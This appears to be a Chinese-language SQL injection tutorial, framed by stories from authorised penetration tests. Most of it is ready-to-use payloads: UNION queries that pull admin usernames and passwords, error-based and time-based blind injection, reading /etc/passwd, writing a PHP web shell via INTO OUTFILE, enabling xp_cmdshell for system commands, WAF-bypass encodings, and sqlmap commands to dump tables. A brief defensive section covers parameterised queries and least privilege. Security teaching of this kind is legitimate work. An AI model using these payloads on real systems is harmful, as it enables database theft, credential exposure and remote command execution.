去年在一次企业授权渗透测试中,我发现了一个有趣的案例:某电商平台的后台管理系统使用了最新版的WAF,常规注入手法全部失效。但在测试搜索功能时,通过精心构造的JSON参数,最终实现了完整的数据库脱裤。这个案例让我意识到,SQL注入这个"古老"的漏洞类型,在2025年依然具有极强的杀伤力。
SQL注入的本质是数据与代码边界混淆。当用户输入被当作SQL代码执行时,攻击者就能操纵数据库查询。理解这个核心原理,才能开发出有效的防御措施。
联合查询是最直观的注入方式,通过UNION操作符合并查询结果。关键步骤包括:
sql复制/user.php?id=1' ORDER BY 5-- // 报错说明列数少于5
/user.php?id=1' ORDER BY 3-- // 正常返回说明有3列
sql复制/user.php?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
sql复制/user.php?id=-1' UNION SELECT 1,concat(username,':',password),3 FROM admin--
关键技巧:使用-1让原查询无结果,用group_concat合并多行,information_schema是MySQL的元数据库
当页面显示数据库错误时,可利用特定函数触发报错泄露数据:
sql复制' AND extractvalue(1,concat(0x7e,(SELECT user()),0x7e))--
' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--
常见问题:
通过页面响应差异判断条件真假:
sql复制/news.php?id=1' AND substr(database(),1,1)='a'-- // 正常说明第一位是a
/news.php?id=1' AND substr(database(),1,1)='b'-- // 异常说明不是b
通过响应延迟判断:
sql复制' AND IF(substr(database(),1,1)='a',sleep(3),0)--
效率优化:
sql复制-- 文件读写(需配置权限)
' UNION SELECT 1,load_file('/etc/passwd'),3--
' UNION SELECT 1,'<?php system($_GET[cmd]);?>',3 INTO OUTFILE '/var/www/shell.php'--
-- 空格绕过
'/**/UNION/**/SELECT/**/1,2,3--
sql复制-- 启用xp_cmdshell
'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE--
-- 执行系统命令
'; EXEC xp_cmdshell 'whoami'--
sql复制-- 使用COPY命令读写文件
'; CREATE TABLE temp(data text);COPY temp FROM '/etc/passwd';SELECT * FROM temp--
python复制# URL编码
原始:' UNION SELECT
一次编码:%27%20UNION%20SELECT
二次编码:%2527%2520UNION%2520SELECT
# 十六进制编码
' UNION SELECT 1,0x61646d696e,3--
sql复制'/*!50000UNION*//*!50000SELECT*/1,2,3--
'/*!UNION*//*!SELECT*/1,2,3--
sql复制'%09UNION%0aSELECT%0b1,2,3--
http复制/search.php?id=1&id=' UNION SELECT 1,2,3--
json复制{"username":"admin' UNION SELECT 1,2,3--","password":"123"}
java复制// 参数化查询示例(Java)
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setInt(1, userId);
php复制// 白名单验证
$allowed = ['name', 'price', 'date'];
if (!in_array($_GET['sort'], $allowed)) {
die('Invalid sort field');
}
sql复制-- 创建专用账号
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'Complex@123';
GRANT SELECT, INSERT ON shop.* TO 'webapp'@'localhost';
REVOKE FILE ON *.* FROM 'webapp'@'localhost';
bash复制# 指定注入技术
sqlmap -u "http://target.com/page?id=1" --technique=U
# 使用Tamper脚本
sqlmap -u "http://target.com/api" --data='{"q":"test"}' \
--headers="Content-Type: application/json" \
--tamper=space2comment,between
bash复制# 获取数据库列表
sqlmap -u "http://target.com/page?id=1" --dbs
# 导出指定表数据
sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump
admin'--的用户sql复制SELECT * FROM logs WHERE username = 'admin'--'
教训:从数据库读取的数据也要视为不可信输入
GBK编码环境下:
sql复制%df' UNION SELECT 1,2,3--
解析为:運' UNION SELECT 1,2,3--
防御方案:
在最近一次金融行业渗透测试中,我们通过时间盲注配合Tamper脚本,耗时6小时成功获取了数据库控制权。这个案例证明,只要有足够的耐心,再严密的防护也可能被突破。这也提醒我们,安全防御必须层层设防,不能依赖单一保护措施。